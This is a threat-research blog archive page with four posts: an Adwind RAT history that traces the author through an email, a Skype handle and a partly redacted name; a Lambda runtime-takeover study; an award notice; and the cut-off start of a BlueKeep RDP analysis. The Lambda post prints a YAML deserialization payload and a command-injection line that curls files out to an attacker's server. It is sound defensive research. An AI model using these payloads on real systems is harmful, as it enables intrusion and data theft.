Page 49 – Unit 42

The Legend of Adwind: A Commodity RAT Saga in Eight Parts

Posted on September 17, 2019June 7, 2024 by Unit 42

Executive Summary

In early 2012, a developer started selling the first of the Adwind family, Java-based remote access tools (RATs), called “Frutas.” In the ensuing years, it has been rebranded at least seven times. Its other names have included Adwind, UnReCoM, Alien Spy, JSocket, JBifrost, UnknownRat, and JConnectPro.

The Adwind RAT family remains prevalent in the wild. Palo Alto Networks has collected over 45,000 samples from the various Adwind iterations. We have observed these samples used in over 2 million attacks against Palo Alto Networks customers since 2017, highlighting the high impact of this popular commodity RAT.

The first six iterations of the multi-platform Adwind RAT family have been exhaustively documented, so we will not rehash analysis of the RAT itself. This piece describes two hitherto undocumented recent rebrandings: “Unknown RAT” and “jConnect Pro RAT and clarifies some misconceptions. We have identified the author of this commodity malware, demonstrating that ownership of this RAT under its various monikers never actually changed.

This blog post documents Adwind RAT family’s beginning as an alleged science project, evolution to become widely available commodity malware, and eventual refinement into a private sale to what appears to be a closed customer base. By developing a technique to isolate cracked versions from licensed samples, we have documented the impact of the availability of free, cracked versions, and identified researcher reporting as a repeated catalyst to recent rebranding.

A RAT Is Born

On January 11, 2012, Spanish-language indetectables[.]net forum user “adwind” posts about his new “Frutas Rat” project, seen in Figures 1 and 2. A Google translation of the text follows Figure 1.

Figure 1. Adwind announces "Frutas"

“Fruits Rat [Java] Src Project [Reverse Connection]…
This is a project that starts yesterday jejeje I upload it for the curious, this project I will continue little by little because I try to do everything myself. Without using 3rd codes
I use Netbeans as an IDE.
Do not ask me why the name of the RAT XD”

Figure 2. Frutas RAT

Through 2012, he released several updates to Frutas. By December 2012, Adwind had rebranded the free Frutas as the paid “Adwind RAT.”

Rebrand

From early 2013, the renamed Adwind RAT was sold at adwind[.]com[.]mx, shown in Figures 3 and 4 below.

Figure 3. adwind[.]com[.]mx 2013

Figure 4. Adwind RAT version 2

On October 5, 2013, Adwind released “V3.0” and claimed that he would be turning the RAT over to “others,” who would also rename the RAT, shown in Figure 5. A Google translation of the text follows the figure.

Figure 5. Adwind claims a change of ownership

“Well many know or not but the project already I it will not handle, it will be others that will be called by another name.”

Adwind also states:

“You judge if it is better than the JRAT :D”

Some researchers have claimed that JRAT and the Adwind RAT family are related. While JRAT is a Java RAT, we have determined it is completely different and written by a different author.

So, why this rebrand? Although we suspect other reasons for renaming in later iterations of this RAT family, it seems that in this case at least, Adwind’s author is specifically trying to distance his identity from continued development and sale of this malware. He may have feared – correctly – that an operational security (OpSec) fail on his part with his Adwind identity might expose his identity and ownership.

UnReCoM RAT

A week after Adwind’s “change of ownership” announcement, on October 12, 2013, The domain unrecom[.]net was registered. This site sold the next Adwind family rebrand, “Universal Remote Control Multi Platform” (UnRemCoM) RAT. The ostensible new management is named at the site as “UnReCom Soft” and elsewhere as “Lustrosoft.” Figure 6 shows connections to victims in the United States, Spain, and Mexico.

Figure 6. UnReCoM RAT

The site offered a monthly subscription option as well as the ability to purchase the software outright, shown in Figure 7. Some researchers have suggested that this is a “malware as a service” (MaaS) model. However, while commodity malware is often licensed monthly, it isn’t really “as a service” – the user is still wholly responsible for the RAT stub building, C2, “crypting” (stub encryption), and spreading/infection. In contrast, the Webmonitor RAT offered a C2 service that is closer to a MaaS definition.

Figure 7. UnReCoM purchase options

The site boasted the multi-platform RAT client availability, listing Windows XP through 8.1, Mac, Linux, and Android:

“UNRECOM is the only software in the world to take control of all operating systems in one place.. You will have full control of your devices in one place.”

It also disavowed itself as malware, utilizing bizarre logic:

“Unrecom is a malware?

Not, you need install software in both devices for work.”

Alien Spy

Alienspy[.]net was registered June 7, 2014. The reason for this rebrand is unknown. It may be that the author deliberately wanted to circumvent having to honor outstanding purchases/subscriptions and created a “new” software to be purchased instead. Alternatively, it might be to avoid reputation issues – complaints about various iterations of the Adwind family, lack of support, and dishonoring of purchases are common on forums:

“Alienspy is NO GOOD, it is the worst RAT ever, don't be fooled, the owner needs a lot of money, he cdan make you buy and destroy HWIDS to make you keep purchasing the software, alienspy works sometimes,not all the time, and have an issues with stability, but the owner is very hungry for cash so watch it, he changed the name of several RATs he created and took many people money, do not trust...”

A customer testimonial proudly featured at the site belies any claim of the software’s use as a legitimate administration tool, shown in Figure 8 below.

Figure 8. Testimonial

On April 8, 2015, Fidelis released a report on Alien Spy. By the end of April, the domain for the next Adwind family rebrand had been registered, and the registrar had suspended alienspy[.]net. The motivation for this rebrand was quite obvious, although it seems the author didn’t lose the opportunity to profit from it:

“i was client of alienspy and bought 1 year member but the rat get suspended before my member expire and when i try to get same discount in the new jsocket i get nothing from the support not even answer to me”

The continuity between these rebrands is apparent in the Skype profile for Alien Spy, shown below in Figure 9.

Figure 9. Alien Spy Skype profile

JSocket

The domain for this next rebrand, jsocket[.]org, was registered April 20, 2015 – 12 days after the Fidelis report. As of August 2019, it was still registered, although the domain hasn’t resolved to an active website since early 2016.

Figure 10 shows some noticeable similarities between this site and its predecessor.

Figure 10. Comparison of alienspy[.]net and jsocket[.]org sites

In February 2016, unsubstantiated rumors that the Adwind author had been arrested circulated on forums.

On February 8, 2016, Kaspersky published a report on JSocket.

JBifrost

Our actor again responded quickly to the publication of the Kaspersky research on February 8, 2016. A new domain, jbifrost[.]com, was registered just two days later, on February 10, and jsocket[.]org, after replacing their website with a claim of spamming users being banned and legal issues, ceased to resolve after February 13, 2016.

Figure 11. JBifrost RAT logo

This incarnation of the site seemed to drop the loud public advertising in favor of a members-only private site with forums, sales, and chat.

The website was reported to have been suspended by the ISP in late-June 2016, and Fortinet published research into jBifrost on August 16, 2016.

Unknow(n) RAT

The actor appears to have taken a little longer in re-establishing his site after the jbifrost[.]com suspension. Unknowsoft[.]com was registered August 2, 2016, about a month after jbifrost[.]com was suspended during summer 2016. Again, this site supported a private members area rather than loud, public advertising.

Figure 12. Unknown RAT logo

The logo used for this rebrand, seen in Figure 12, is essentially unchanged from that of the previous jBifrost, shown in Figure 11, which wouldn’t be expected had this business actually changed hands and truly rebranded.

The site was parked by the registrar August 4, 2017 and expired in December 2017. The registrar had previously suspended the site in late-September 2016, but the registration of Unknow(n) RAT’s successor domain in December 2016 sets our milestone for the transition to the next rebranding.

jConnectPro

The last known possible website for the Adwind family, jconnectpro[.]info, was registered on December 10, 2016.

The site helpfully documented the connection and evolution of the malware family, shown in Figure 13.

“AlineSpy >> jSocket >> jBifrost >> UnknownSoftware >> jConnectPro”

Figure 13. jconnectpro[.]info

The jConnect Pro site seen in Figure 13 bore an obvious similarity to the previous Unknown RAT site as shown in Figure 14. The site was suspended by the ISP in early April 2017.

It is possible that jconnectpro[.]info was NOT run by Adwind but rather was an imposter, selling a cracked version of Unknown RAT. Prior to ISP suspension, the Unknown RAT site unknowsoft[.]com posted an announcement that they were not taking any new customers, though the software would still operate, shown in Figure 14.

“Unkonown Software is currently unavailable

Not new users or renews in this moment. You can continue to use our software but you will not be allowed to login in our website.

Each membership of users will continue active until this expire.

Enjoy! And Good luck for ever.

Mastermind Team. We can just say good bay for ever.

We finished our work here since our software was selled to other team of developers. I don’t know if they will continue or not. But we will try to update stub for currents users with active memberships.”

A litany of complaints against purported fakes and scammers followed. Of special note:

“http://jconnectpro[.]info – a FAKE”

The timeline of RAT rebrand names at the site contains capitalizations in the names that differ from the original sites.

Figure 14. Unknown Software "unavailable"

A Cryptic Puzzle

After unknownsoft[.]com and jconnectpro[.]info went down, Adwind’s trail went cold. Although this time we were unable to find a newly rebranded iteration of Adwind’s RAT, we did find a Java-RAT-specific crypting service.

Malware operators use a technique known as “crypting” to avoid signature-based antivirus detection. Crypting will modify malware binary files such that they have a new, unique hash value, without altering their functionality. Such files are often referred to as “fully undetectable” (FUD).

There are comparatively few Java-specific commodity RATs, and this crypting service seemed to adopt UnknownRAT’s name in its branding – UnknownCrypter (unknowncrypter[.]co) (Figure 15).

Figure 15. UnknownCrypter

Initial investigation uncovered some Spanish-language artifacts associated with UnknownCrypter. We wondered if Adwind might be leveraging his Java coding expertise and operating this system himself as a second revenue stream alongside his RAT.

However, our research determined that this was simply a rebranding of the “FUDCrypter” service, operated by a Nigerian individual, not Adwind.

In our SilverTerrier research of Nigerian cybercrime, we note an increase in the popularity of commodity RATs among that community. Indeed, our research into leaked customer lists of commodity malware has shown that the vast majority of the customers are Nigerian. We also observed a burgeoning Nigerian ecosystem around the various aspects of cybercrime, and so a Nigerian-based crypting service should not come as a surprise.

Further confirming our conclusion that this is not operated by Adwind, the same actor recently launched his own JavaScript-based RAT called “WSH RAT” with a very different codebase – a competitor to Adwind rather than a new iteration of Adwind’s RAT.

Cracked

Although Adwind apparently no longer sells his RAT on the web or on forums, the question remains: what of all the ongoing Adwind-family telemetry do we continue to observe?

Cracked copies of Adwind-family malware have been in circulation for several years, through to cracked versions of Unknown RAT as seen in Figure 16.

Figure 16. Cracked Unknown RAT

We first observed Adwind-family samples add a registry entry for the BullGuard binary “LittleHook.exe” into their anti-antimalware routine on December 5, 2016. This corresponds closely with the ostensible rebranding to jConnectPro, with that domain being registered only five days later.

Although we noted earlier that jconnectpro[.]info may potentially not actually belong to Adwind, we are able to use this marker to differentiate between “legitimate” and cracked Adwind samples. All known cracked versions of Unknown RAT predate the above-observed branding and domain change.

Since December 2016, we have collected 14,000 “legitimate” samples, observed in over 600,000 attacks against Palo Alto Networks customers. Cracked versions of earlier Adwind family RATs seem to be twice as common. During the same period, we found almost 30,000 Adwind samples that did not contain that marker, observed in over 1.3 million attacks against Palo Alto Networks customers.

Gone Dark?

As we noted earlier, the jConnectPro website was suspended in early April 2017. Unknownsoft[.]com had an “unavailable” statement at the site, ISP suspensions from 2016, and was finally parked mid-2017. Unlike previous rebranding, there was no handoff to a new brand as we had observed earlier, via website, Skype, forum, or reports of emails to customers. There was no “new Adwind” advertising on forums. This begged the question: Has Adwind finally closed up shop? Is the ongoing Adwind telemetry simply observing cracked versions and legacy legitimate samples continuing to be deployed?

We found that Adwind samples first started setting the registry key “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe\debugger , Value:svchost.exe , Type:1” in samples starting June 5, 2017. This was two months after the jConnectPro website was suspended, and Unknown Software was “unavailable” and the site suspended – the first proof of ongoing development of the RAT subsequent to having gone dark.

We noted some other small changes in file writes in samples around this date, but we have not been able to identify any other new functionality in samples observed since June 2017. Samples with these markers continue to be observed in the active attacks through September 2019.

A Tale Is Woven

Our analysis of Adwind’s infrastructure throughout the different brands of his RAT found uncommonly good operational security (OpSec) on his part. WHOIS records were fake and/or anonymized. Domain registrars and hosting services were distinctly changed with every rebrand. Infrastructure was not reused. No careless connections to other activity that might hint at Adwind’s identity were found.

Having analyzed thousands of actors and their infrastructure, such consistently good OpSec is a rarity. Adwind attempted not only to hide his identity but, fearing discovery and in order to distance himself from issues with bad reputation, also attempted to suggest a change of ownership.

In his attempt to misdirect identification and pretend to have on-sold his business, Adwind inadvertently left a pattern in his OpSec. The very consistency of his OpSec itself is an indicator of it remaining under his control during its entire history.

Despite the renaming, the RAT itself really didn’t change significantly over its lifetime. Some new functionality was added, but improvements were essentially iterative. No significant changes were noted, as might be expected with a new owner/coder, and Java commodity RATs remain comparatively rare.

Care was always taken to ensure a continuity between brands for his customers; the new brand was noted in forums on the old website, in his Skype profiles (Figure 9), and in emails to existing customers – more care than might be expected if it was on-sold to a third party.

Domain moves were always seamless, and rebrands were, on several occasions, clearly triggered by the publishing of research (Figure 17). Even after the claimed “sale,” UnReCom still had predominant Mexico hosts in screenshots (Figure 6).

Figure 17. Timeline of the Adwind RAT family

Stylistic similarities bridged the different RAT brands – logos (Figures 11 and 12), site content (Figures 13 and 14) and also as seen above in the jSocket section. In fact, the only “rebrand” that carries doubt that it actually belonged to Adwind was jconnectpro[.]info – the timeline has the “unavailable” unknownsoft[.]com overlapping the same timeframe and calls jconnectpro[.]info “a FAKE”.

Who Is ‘Adwind’?

As we noted earlier, Adwind has uncommonly good OpSec, and initially, conclusively identifying him through his infrastructure wasn’t possible.

Spanish-language artifacts were obvious early on. The original website selling Adwind was adwind[.]com[.]mx, and several YouTube videos and screenshots showed a predominance of Mexican host computers (Figure 18).

Figure 18. Mexican host computers in YouTube advertising

The email address adwind[at]live.com is found in the strings of Frutas samples (Figure 19) and was referenced at a YouTube video promoting Adwind 1.0.

Figure 19. Frutas strings

This email address is associated with a Skype profile “adwindandres” (Figure 20), which includes the Adwind logo.

Figure 20. Skype profile

That Skype profile was also used at hackforums[.]net to sell early versions of Adwind RAT. It was also the Skype listed at the original Adwind website (Figures 3 and 21).

Figure 21. Original Adwind site Skype

The same email address is also found in an academic paper, with the same name “Andres” as noted in the Skype:

“C. M. Andrés is a student from J█████ Autonomous University of T██████ in Mexico in the last semester of the degree in computer systems; (email: adwind [at]live.com).”

Elsewhere the paper mentions his full name.

The very first historical WHOIS entry for adwind[.]com[.]mx contained a full name and location, which matches the name and location in the academic paper. The WHOIS record was changed to fake information shortly thereafter.

Name: Andres A█████ C████████ M█████

City: C███████

State: T██████

Country: Mexico

The full name of Adwind Andrés appears to be unique. Research uncovered other references to him studying information systems at that university.

It also led to his Google Maps reviewer profile (Figure 22). The 4,000+ reviews in that profile, including up until a few weeks prior to publication of this blog post, suggest that Adwind Andrés now resides in C██████, Mexico – a few hours drive from his university.

Figure 22. Google Maps reviews

A Never-Ending Story?

The ready availability of commodity malware empowers a huge population of unsophisticated threat actors, who would otherwise lack the technical ability to code their own malware. Although the author might not financially benefit from the spread of cracked versions of the malware, the author is, after all, responsible for its original existence.

Distributed since 2012, sale of the Adwind RAT family has resulted in tens of thousands of malware samples in the wild and millions of malware attacks.

Over the last eight years, Adwind Andrés has unsuccessfully attempted to hide his identity as the author of this malware and distance himself using successive rebrands.

As he has iteratively continued to improve upon his software, it would seem that he has been driven into a private-customer model. However, to this day, he continues to develop this software, and profit from its sale to malware actors.

Organizations with good spam filtering, proper system administration, and up-to-date Windows hosts have a much lower risk of infection. Palo Alto Networks customers are further protected from this threat. Our threat prevention platform detects the Adwind RAT family malware with WildFire and Traps. AutoFocus users can track this activity using the Adwind tag.

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

Unit 42 Named Top Zero-Day Vulnerability Contributor by Microsoft

Posted on September 4, 2019June 7, 2024 by John Harrison

This piece was originally published August 16 on the Palo Alto Networks blog.

Palo Alto Networks is proud that Microsoft has recognized our Unit 42 global threat intelligence team with multiple awards for its contributions to vulnerability research, including first place for discovery of Zero Day vulnerabilities. Microsoft also recognized Unit 42 researchers Gal De Leon and Bar Lahav in its annual list of the Most Valuable Security Researchers.

Unit 42, which also won third place for “Vulnerability Top Contributor,” was the only research group to win in two categories at this year’s Microsoft Active Protections Program (MAPP) Contributing Partners awards.

“It’s an honor to be recognized by the MSRC team for responsibly disclosing these vulnerabilities to Microsoft and providing information needed to develop patches and protect customers,” Gal De Leon said.

Unit 42 reported 27 zero-day vulnerabilities to Microsoft from July 1, 2018, to June 30, 2019. They include a Zero-Day local privilege escalation vulnerability in the Windows Error Reporting component, which was exploited in the wild. We discussed that vulnerability in a July 2 technical blog, Tale of a Windows Error Reporting Zero-Day (CVE-2019-0863)

Zero-Day vulnerabilities are exploitable flaws in the code of legitimate applications and operating systems that haven’t previously been publicly disclosed. They can be exploited by threat actors to launch attacks which are much tougher for organizations to protect against, even when they are using up-to-date security tools.

Unit 42 is thrilled that its researchers were acknowledged by the Microsoft Security Response Center (MSRC) “Most Valuable Security Researchers” program for a fourth consecutive year

We salute all 75 researchers who were honored at this year’s awards, which were presented during the Black Hat conference in Las Vegas.

Microsoft looks at the volume of vulnerability reports as well as their impact and accuracy when deciding who to recognize, according to Sylvie Liu, security program manager for MSRC Community Programs.

Palo Alto Networks has identified more than 200 vulnerabilities in the ecosystems of vendors including Adobe, Apple, Google Android and Microsoft.

By proactively identifying these vulnerabilities, developing protections for our customers, and sharing the information with the security community, we are removing weapons that attackers use to threaten organizations. Palo Alto Networks is a key participant in the Microsoft Active Protections Program, which provides early access to vulnerability information so that we can provide proactive protection to customers through Next Generation Firewall Threat Prevention Security Services subscriptions and Traps Advanced Endpoint Protection.

Unit 42 reports on zero-day vulnerabilities and other threats are available on its threat research blog.

Gaining Persistency on Vulnerable Lambdas

Posted on September 2, 2019June 7, 2024 by Unit 42

Serverless Security

AWS Lambda was released in 2014 and introduced a new cloud execution model – serverless computing, which is now widely adopted. Since then, numerous companies began offering security solutions for AWS Lambda and serverless computing in general. These security platforms commonly provide:

Vulnerability Scanning – Ensuring that your code doesn’t contain any known vulnerabilities (‘one-days’).
Runtime Protection – Preventing exploitation of zero-day vulnerabilities in production.

But what can an attacker even do if he found a Remote Code Execution (RCE) vulnerability in a Lambda function? In other words, if there’s a security flaw in the user’s handler or in one of the modules used by it, what can an attacker achieve upon exploiting such vulnerability?

Let’s examine a common use case – a Lambda that processes and validates some data, and then enters it into a database.

Some straightforward answers come to mind:

The attacker can abuse our vulnerable Lambda as an execution resource, and leverage it for crypto-mining, for example.
The attacker has access to the resources available to the Lambda. Our Lambda has write privileges to a certain DB, and so the attacker has them too.

These are legitimate attack vectors, but in the example above it’s likely that the attacker will be most interested in the users’ private information. Luckily for the users, our Lambda is appropriately configured with only writing privileges to the sensitive DB.

Well, what about the other invocations? They contain new information designated for the DB, can the attacker access them somehow?
That is the question I sought to answer in a research I conducted. The short answer is yes, an attacker can persist on a vulnerable Lambda instance and gain access to other invocations. Let’s see how.

Lambda Basics

Lambda instances are scaled according to demand. If 3 concurrent requests occur, AWS will scale the number of Lambda instances accordingly. Spinning up a new Lambda instance takes time, therefore, when a new Lambda instance handles its first request, its execution time is notably longer. This is called a cold start. To avoid frequent cold starts, AWS will keep Lambda instances alive for some time to handle subsequent requests. From my experience, an instance is normally removed after 10-15 inactive minutes.

One major takeaway from this execution model is that Lambda invocations aren’t completely separated from each other. They could run, though not simultaneously, in the same execution environment. With that in mind, let’s start dissecting that environment.

Researching the Lambda Environment

Lambda supports several runtimes, with the most popular being Python 3.7 and Node.js 10. I decided to focus on the Python runtime.
I wanted to set up a reverse shell from a Lambda to my local machine and start investigating the environment. Soon enough though, I realized that won’t be trivial. A reverse shell will require an ongoing connection, but keeping a Lambda running for more than a few seconds can get costly. Moreover, Lambdas timeout after a relatively short period (the maximum is 15 minutes).

A better-suited approach is to reinvoke the Lambda for each shell command. In this method, you deploy a Lambda which executes received commands and returns their output. I’ve seen some open-source tools that do exactly that, but I didn’t find them convenient enough. Most didn’t implement a shell interface, and none supported features which I thought to be necessary – working directory (CWD) tracking, transferring files between the Lambda and the local machine, and most importantly – pretty colors.

Splash

I decided to create my own tool and thus SPLASH was born. SPLASH stands for Splash Pseudo Lambda Shell. To use splash, the only setup required is to deploy a Lambda running the splash agent LEX (Lambda Executor), and configure splash with your Lambda address.

Using splash, I started poking around the environment. Here are the processes running on the Lambda. You can see that all of them run as the same unprivileged user.

Our Lambda runs in an isolated environment, which appears to be some sort of container. This can be verified by examining the cgroup mappings of the processes running on the Lambda. Control groups are one of the key isolation technologies used in containers.

The cgroup names are prefixed with ‘sandbox’, a prefix that didn’t match any container engine I’m familiar with (I checked docker, podman, LXD and rkt just to be sure). Some container engines do offer options for setting custom cgroups, yet this doesn’t seem to be the case. I assume they use a proprietary container engine, which could be internally using an open source container runtime like runC.

I proceeded to download the executables running on the Lambda, and began reverse engineering them.

These are the main files I looked at:

/var/rapid/init – a Golang binary, PID 1 in the Lambda.
/var/runtime/bootstrap.py – the Python3.7 Lambda runtime.

Lambda Python3.7 Architecture

I eventually came up with the following architecture for a Lambda Python3.7 instance:

A process outside the container, referred to as the “slicer” in the init binary, sends invocation events to the init process via shared memory.
The init process sets up an HTTP server on port 9001 (hard-coded), with several exposed endpoints:
1. /2018-06-01/runtime/invocation/next – get the next invocation event
2. /2018-06-01/runtime/invocation/{invoke-id}/response – return the handler response for the invoke
3. /2018-06-01/runtime/invocation/{invoke-id}/error – return an execution error
In bootstrap.py the following loop queries the init process for a new event, and then calls the user’s function to handle it (here, the request handler you uploaded runs).
The handler response is then sent back to the init process through one of the following endpoints:
1. /{invoke-id}/response – if the user handler executed successfully
2. /{invoke-id}/error – if an exception was raised during the handling of the invoke
The init process then hands over this response to the slicer.

One thing to note is how bootstrap.py invokes the user’s code. It doesn’t run it in a child process, but calls it as an external python module. This means that the user code, which might contain RCE vulnerabilities in it, runs as part of the bootstrap process.

Other Runtimes

I briefly looked into other Lambda runtimes as well. Interpreter based runtimes (NodeJS, ruby) are almost identical to the Python runtime, except the bootstrap process is written in the runtime’s language (e.g. in the ruby runtime, it’s bootstrap.rb). Older versions of those runtime (e.g. NodeJS 8 and Python 2.7) are a bit different, and have only one process, called bootstrap, which also handles the responsibilities of the init process.

Other runtimes (Golang, .net and Java) each have their own implementation.

The Plan

Back to our goal – as an attacker with RCE on a Lambda, we have code execution in a specific invocation, but we want access to the data posted on subsequent invocations – we need to gain some persistency.

I figured that if we can replace either the init or bootstrap process with our own malicious version, we will have full access to all events sent to the Lambda instance. The bootstrap process seems like the easier choice – bootstrap.py is a Python script, which is much simpler to mimic and modify than a Golang binary like init.

Now we just need a vulnerable Lambda to experiment with.

Our Target Lambda

Our Lambda deployment is packed with the yaml module, v3.13. Unfortunately, this version contains a code execution vulnerability in the yaml.load() function – CVE-2017-18432. Here is an example of a payload exploiting the vulnerability to calculate 1000 + 337 and print the result:

!!python/object/new:exec [ "result = 1000 + 337; print('Output: ' + str(result))" ]

If we send this to our Lambda and look at the logs, we can see that the code within our payload was executed (Lambdas’ output is transferred to CloudWatch Logs):

I didn’t want to write one-liner payloads, so I wrote a small program, create_evil_yaml.py, that takes a Python script and transfers it into a valid payload.

create_evil_yaml.py also takes in a data file, which is injected alongside the payload into the evil yaml file. Upon execution of the payload, the data is available to it as a variable called external_data_b64.

Replacing the Runtime

With our vulnerable Lambda ready, we can carry out the plan to replace the bootstrap process. I created a yaml payload which contains the new runtime, writes it to a file on the Lambda and calls os.execv to replace bootstrap with it. Here is the code for switch_rutime.py:

switch_runtime.py first decodes the new runtime from external_data_b64. It then checks if the Lambda’s /tmp dir is writable, and if it is, writes the new runtime there. If not, it uses the memfd_create syscall to create the runtime file in memory, instead of on the filesystem. The payload then calls os.execv to replace the bootstrap process with our new runtime.

As you can see, switch_runtime.py passes one argument to the new runtime – invoke_id. Our new runtime will need it in order to reconnect to the init process. To understand why, let’s look at how the init and bootstrap process normally communicate with each other:

Our new runtime will start running in the middle of this pattern:

Therefore before requesting the next event, our new runtime will need to return a response for the event that spawned it. This requires our runtime to have that event’s invoke id, since the response endpoint URL is /${invoke-id}/response.

switch_runtime.py runs in the context of the bootstrap process, and can thus extract the invoke id from bootstrap.py’s _GLOBAL_AWS_REQUEST_ID variable. This is done using the ‘inspect’ Python module, which allows you to inspect the stack of your process and access the data saved on it.

Now that switch_runtime.py is ready, all that’s left is to write our new runtime!

Twist Runtime

twist_runtime.py is a copy of the original bootstrap.py, with a couple of modifications:

Upon starting, the runtime posts a mock response to the init process, using the invoke_id it received as an argument.
Each event received by the runtime is sent to an external server before being handed to the user’s handler.
The runtime also adds a small message to each Lambda response (which you’ll see in the video below).

Leaking Subsequent Invocations PoC

Putting everything together, here is a PoC video. In it, sendYamlData.py is used to send yaml files to the Lambda and print its response.

Below is the attack flow:

Persistency in a Temporary Environment

Once we compromised the Lambda instance, all requests directed to it are visible to our runtime. Of course, if the compromised instance doesn’t receive frequent requests, it will be taken down by AWS. Additionally, if concurrent requests are sent to the Lambda, some will be directed to other instances.

A skilled attacker can still use some tricks to gain a better foothold and extract most requests to the Lambda, for example:

He can periodically “warm” his Lambda instance by sending requests to the Lambda. He can also modify his runtime so that it will respond differently to this type of requests, to signal that it’s still alive.
The attacker can also send concurrent payloads to take over several Lambda instances.

Stealthiness

Like in any attack, there is also the issue of staying undetected. Currently, the payload that replaces the runtime takes about 2 seconds to execute, which is relatively long in comparison to usual Lambda execution times. This can likely be shortened though, by dropping unnecessary initialization logic that was copied from bootstrap.py. On the other hand, the long execution time might be mistaken for a cold start, masking the attack.
A smart attacker could also learn the function’s normal behavior and output, and try to use CloudWatch Logs to confuse defenders and obscure his attack.

External Process RCE

The yaml.load() vulnerability enables an attacker to execute code as part of the vulnerable process. On the other hand, there are many exploits that execute payloads as an external process. Consider the following vulnerable Lambda which returns the request’s body, encoded in Base64:

An attacker can exploit this Lambda and send arbitrary commands, which will be executed in an external shell process. For example, he can send “; curl -f “@/some/path” {our-server-ip}:{port};” to upload a file from the Lambda to his server.

Using this type of RCE vulnerabilities to take over the Lambda’s runtime is possible, but some modifications to the payload we used are required. Since our payload runs in an external process, it can’t use the inspect module to retrieve the invoke id. Instead, it should read bootstrap’s memory directly through /proc/${bootstrap-pid}/mem, and use regex to search for a sequence of bytes that match the invoke id format. Additionally, our payload will need to kill or stop the old bootstrap process.
There are a few other smaller tweaks. If you’re interested, I used the vulnerable base64 Lambda above and wrote a small PoC, available here.

Takeaways

I’d like to emphasize that the attack presented here isn’t a vulnerability in AWS. AWS Lambda follows a shared responsibility model – if your code has a vulnerability, that’s on you – as far as AWS is concerned. Future steps can be taken by AWS to separate the user code from the runtime, like running them in different processes, or with different privileges inside the Lambda instance, but I reckon most would hurt Lambda’s main upside – speed.

One recommendation I do think can be implemented without much trouble is to set the ptrace scope at /proc/sys/kernel/yama/ptrace_scope to 2 (‘admin access’). This will disable ptrace operations inside the Lambda and deny access to /proc/{bootstrap-pid}/mem, preventing the external process attack.

Developers might mistake serverless to be secure by default, mostly due to the temporary execution nature. This is not the case, and I hope that the PoC presented here highlights that. Invocations aren’t completely separated from each other, and for malicious parties, vulnerable Lambdas can be more than just an execution resource. With full control over a Lambda instance, attackers can access other invocations, alter the Lambda’s behavior and leak private information.

Though I chose to focus on the Python 3.7 Lambda runtime, this type of takeover attack will most likely succeed in other runtimes as well. All runtimes share the same execution design, where user code runs in the same privilege as the runtime invoking it. Simply put, vulnerable user code compromises the runtime as well.

All in all, serverless functions do still have the upside of being relatively small (code-wise), which makes them easier to secure given proper attention.

Twistlock (Prisma Cloud) Protection

Twistlock’s serverless Defender will prevent the PoC attack in three points:

The vulnerable YAML package will be identified, and the user will be prompted to update to the fixed version.
For Lambdas defined as read-only, the Defender will deny switch_runtime.py from writing the new runtime to the Lambda’s /tmp dir.
The Defender will stop the os.execv call in switch_runtime.py.

Of course, the Twistlock Console will also alert on this suspicious activity.

This was a pretty long post, but I hope you now understand Lambda security risks better. As always, feel free to reach out with any questions you may have through email or @unit42_intel.

Exploitation of Windows CVE-2019-0708 (BlueKeep): Three Ways to Write Data into Kernel with RDP PDU

Posted on August 29, 2019June 7, 2024 by Tao Yan

Executive Summary

In May 2019, Microsoft released an out-of-band patch update for remote code execution vulnerability CVE-2019-0708, which is also known as “BlueKeep” and resides in code to Remote Desktop Services (RDS). This vulnerability is pre-authentication and requires no user interaction, making it particularly dangerous as it has the unsettling potential to be weaponized into a destructive exploit. If successfully exploited, this vulnerability could execute arbitrary code with “system” privileges. The Microsoft Security Response Center advisory indicates this vulnerability may also be wormable, a behavior seen in attacks including Wannacry and EsteemAudit. Understanding the seriousness of this vulnerability and its potential impact to the public, Microsoft took the rare step of releasing a patch for the no longer supported Windows XP operating system, in a bid to protect Windows users.

With potential global catastrophic ramifications, Unit 42 researchers felt it was important to analyze this vulnerability to understand the inner workings of RDS and how it could be exploited. Our research dives deep into the RDP internals and how they can be leveraged to gain code execution on an unpatched host. This blog discusses how Bitmap Cache protocol data unit (PDU), Refresh Rect PDU, and RDPDR Client Name Request PDU can be used to write data into kernel memory.

Since the patch was released in May, this vulnerability has received a lot of attention from the Computer Security industry. It is only a matter of time before a working exploit is released in the wild. The findings of our research highlight the risks if vulnerable systems are left unpatched.

Bitmap Cache PDU

Per MS-RDPBCGR (Remote Desktop Protocol: Basic Connectivity and Graphics Remoting) documentation, the full name of bitmap cache PDU is TS_BITMAPCACHE_PERSISTENT_LIST_PDU, which is considered as Persistent Key List PDU Data and embeds in the Persistent Key List PDU. The Persistent Key List PDU is an RDP Connection Sequence PDU sent from client to server during the

Connection Finalization phase of the RDP Connection Sequence, as shown in Figure 1.

Figure 1. Remote Desktop Protocol (RDP) connection sequence

The Persistent Key List PDU header is the general RDP PDU header and is constructed as follows and shown in Figure 2: tpktHeader (4 bytes) + x224Data (3 bytes) + mcsSDrq (variable) + securityHeader (variable).

Figure 2. Client Persistent Key List PDU

Per MS-RDPBCGR documentation, the TS_BITMAPCACHE_PERSISTENT_LIST_PDU is a structure that contains a list of cached bitmap keys saved from Cache Bitmap (Revision 2) Orders ([MS-RDPEGDI] section 2.2.2.2.1.2.3) that were sent in previous sessions as shown in Figure 3.

Figure 3. Persistent Key List PDU Data (BITMAPCACHE PERSISTENT LIST PDU)

By design, the Bitmap Cache PDU is used for the RDP client to notify the server that it has a local copy of the bitmap associated with the key, which indicates that the server does not need to retransmit the bitmap to the client. Based on the MS-RDPBCGR documentation, the Bitmap PDU has four characteristics:

The RDP server will allocate a kernel pool to store the cached bitmap keys.
The size of the kernel pool allocated by the RDP server can be controlled by “WORD value” numEntriesCacheX[x can be from 0 to 4] fields in the structure and totalEntriesCacheX[x can be from 0 to 4] in the BITMAPCACHE PERSISTENT LIST structure from the RDP client.
The Bitmap Cache PDU can be sent legitimately multiple times because the bitmap keys can be sent in more than one Persistent Key List PDU, with each PDU being marked using flags in the bBitMask field.
There is a limit to 169 for the number of bitmap keys.

